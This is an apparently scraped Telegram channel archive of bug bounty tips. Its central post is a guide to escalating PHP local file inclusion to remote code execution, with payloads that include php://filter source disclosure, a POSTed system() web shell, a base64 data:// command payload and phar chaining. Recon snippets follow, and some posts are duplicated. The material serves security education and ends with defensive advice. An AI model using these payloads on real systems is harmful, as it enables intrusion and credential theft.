Bug bounty Tips
Kanalga Telegram’da o‘tish
🛡️ Cybersecurity enthusiast | 💻 Helping secure the digital world | 🌐 Web App Tester | 🕵️♂️ OSINT Specialist Admin: @laazy_hack3r
Ko'proq ko'rsatish5 799
Obunachilar
+1424 soatlar
+777 kunlar
+41130 kunlar
Postlar arxiv
5 800
Spotlight on taiphung217: Five-Month Climb to Huntr Leaderboard Glory
https://blog.huntr.com/spotlight-taiphung217-five-month-huntr-leaderboard-climb
5 800
Spotlight on taiphung217: Five-Month Climb to Huntr Leaderboard Glory
https://blog.huntr.com/spotlight-taiphung217-five-month-huntr-leaderboard-climb
5 800
🚀 Exciting News for #InfoSec & #BugBounty! 🛡
ProxSec v1.0.0 is out—an open-source extension for security pros! 🔥
✅ Proxy management
✅ Scope validation
✅ Program tracking
✅ Lightweight & private
Open-Source : https://github.com/aacle/ProxSec
Feedback welcome! 💬
5 800
🚀 Exciting News for #InfoSec & #BugBounty! 🛡
ProxSec v1.0.0 is out—an open-source extension for security pros! 🔥
✅ Proxy management
✅ Scope validation
✅ Program tracking
✅ Lightweight & private
Open-Source : https://github.com/aacle/ProxSec
Feedback welcome! 💬
5 800
guys this is an updating blog of cipherops if u need anything you guys can go and check here if possible i would like to update 2vice in a week
https://cipherops.gitbook.io/bug-bounty-notes
5 800
🔥 Mastering PHP Filters & Wrappers for LFI to RCE — FULL GUIDE
⚠️Most hackers stop at reading logs.
The elite use PHP wrappers to turn LFI into remote code execution.
This post is your all-in-one breakdown of how PHP wrappers work and how to exploit them like a pro. 👇
🎯 Why PHP Wrappers Matter in Bug Bounty
PHP provides built-in stream wrappers — special protocols to access I/O sources like files, memory, input/output streams, and even compressed/encrypted data.As attackers, we can abuse these wrappers to: ✅ Read raw PHP source (even when .php is auto-appended) ✅ Bypass execution to leak secrets ✅ Chain into full RCE ✅ Abuse legacy or misconfigured server behavior Commonly used wrappers: ▶️ php://filter ▶️ php://input ▶️ php://memory ▶️ data:// ▶️ expect:// ▶️ zip:// ▶️ phar:// 🧬 Using php://filter for Source Code Disclosure This is the most useful wrapper for LFI. Payload:
php://filter/read=convert.base64-encode/resource=index
Why it works:
✅ read=convert.base64-encode prevents execution of the PHP code
✅ Base64 output = raw, readable source
Example:
http://<IP>/index.php?file=php://filter/read=convert.base64-encode/resource=configDecode result:
echo 'PD9waHAK...base64...' | base64 -d
Now you see source code, credentials, internal logic, API keys, etc.
🔧 Other Useful PHP Wrappers
1️⃣ php://input
Reads raw POST data.
Good for injecting code during file inclusions via POST.
<?php include('php://input'); ?>
Then POST:
POST /index.php
<?php system($_GET['cmd']); ?>
✅ Shell access via cmd parameter.
2️⃣ expect:// (if available)
Allows direct execution of system commands.
include('expect://ls');
⚠️ Rare but deadly if enabled.
3️⃣ data://
Inline file input using base64 or plaintext.
Example:
include('data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==');
🟡 Executes: system('whoami')
4️⃣ zip://
✅ Targets ZIP files as file systems.
✅ Abuse via LFI to include malicious entries.
Structure:
zip://path/to/archive.zip#file_inside.txt
Use this with file upload + LFI combo.
5️⃣ phar://
Deserializes metadata → use with Object Injection + LFI.
Upload malicious PHAR:
phar://path/to/phar_fileIf unserialize() is called on a phar wrapper, it can lead to RCE. 🔍 Fuzzing PHP Files Before Exploiting
ffuf -w /opt/seclists/.../directory-list.txt -u http://<IP>/FUZZ.php
Watch for:
200 → exists and renders
403/302 → access denied, but still includable via LFI
📁 Standard Inclusion vs. Filtered Inclusion
Including via:
?file=config🟡 Executes file, no output if file has no HTML. Using filter:
?file=php://filter/read=convert.base64-encode/resource=config
🟡 Returns base64 source code.
🧪 Decode & Analyze the Source Code
echo 'base64-encoded-content' | base64 -d
Look for:
✅ $db_password, $admin_pass
✅ API endpoints
✅ Sensitive routes
✅ Hardcoded JWT secrets or keys
💣 Advanced Chaining → From LFI to RCE
Read source via php://filter
Find upload paths or SSRF endpoints
Upload malicious phar:// file
Trigger inclusion → RCE
This chain has been used in real-world bounty reports.
🧱 Defense Tips for Developers:
- Disable allow_url_include, allow_url_fopen
- Avoid dynamic include($_GET['page'])
- Use strict whitelists
- Harden php.ini configs
- Monitor suspicious access patterns
🧠 Daily hacking insights
🛠 Payloads & Tools
🐞 Real bug bounty techniques
⚔️ Hands-on exploitation walkthroughs
👍 Like this post if it helped
🔁 Share to boost your hacker circle
🔗 Github link : github.com/cybersecplayground...
#lfi #phpwrappers #bugbounty #phpfilters #rce #infosec #cybersecurity #webpentest #cybersecplayground5 800
a simple dork that find every VDP in worl wide 😎
body="/responsible-disclosure" || body="/.well-known/security.txt") && port="443"
credit: http://x.com/darkshadow2bd
5 800
↳ Nuclei template to find outdated software:
id: outdated-software-detectioninfo:
name: Outdated Software Detection
author: pentester_x
severity: low
description: |
Detects outdated software versions by extracting version information from headers, scripts, and stylesheets.reference:
- https://nvd.nist.gov/vuln/search
- https://www.cvedetails.com
- https://www.exploit-db.com
- https://cve.mitre.orgtags: outdated,software,vulnerable,version,cverequests:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}/version"
- "{{BaseURL}}/status"
- "{{BaseURL}}/server-info"
- "{{BaseURL}}/api/version"
- "{{BaseURL}}/v1/info"
- "{{BaseURL}}/robots.txt"matchers:
- type: regex
part: header
regex:
- '(?i)(Server|X-Powered-By|Version):.*?(Apache|nginx|PHP|WordPress|Tomcat|MySQL)/(\d+\.\d+\.\d+)'
- '(?i)(\b\d+\.\d+\.\d+\b)'extractors:
- type: regex
name: software_version
group: 3
part: header
regex:
- '(?i)(Server|X-Powered-By|Version):.*?(Apache|nginx|PHP|WordPress|Tomcat|MySQL)/(\d+\.\d+\.\d+)'
- type: regex
name: software_version
regex:
- '(?i)v?(?:ersion)?[\s:]*(\d+\.\d+\.\d+)'- method: GET
path:
- "{{BaseURL}}/static/main.js"
- "{{BaseURL}}/css/styles.css"
- "{{BaseURL}}/app/build.js"
- "{{BaseURL}}/assets/scripts.js"matchers:
- type: regex
regex:
- '(?i)v?\d+\.\d+\.\d+'
- '@version\s+\d+\.\d+\.\d+'extractors:
- type: regex
name: software_version
regex:
- '(?i)v?(\d+\.\d+\.\d+)'
#infosec#cybersecurity#bugbounty#pentest#bugbountyTips#JS#Nuclei- '@version\s+(\d+\.\d+\.\d+)'
5 800
🔖Sorting subdomains into different files based on status code, server type, and vhosts.
cat domains.txt | httpx -server -vhost -sc > httpx-output.txt
Now, use the following awk script to categorize the results:
awk '{gsub(/\x1b\[[0-9;]*m/, ""); status=$2; gsub(/[\[\]]/, "", status); server=$3; gsub(/[\[\]]/, "", server); safe_server=server; gsub(/[^a-zA-Z0-9_-]/, "_", safe_server); main_server=server; sub(/\/.*/, "", main_server); gsub(/[^a-zA-Z0-9_-]/, "_", main_server); vhost=$4; gsub(/[\[\]]/, "", vhost); if (server=="") print > "server-not-specified.txt"; else {print > (safe_server ".txt"); print > (main_server ".txt");} if (vhost=="vhost") print > "vhost.txt";}' httpx-output.txt
#InfoSec#CyberSecurity#Hacking#httpx#bugbounty#bugbountytips#bugbountyTools🔹 Share & Support Us 🔹
Endi mavjud! Telegram Tadqiqoti 2025 — yilning asosiy insaytlari 
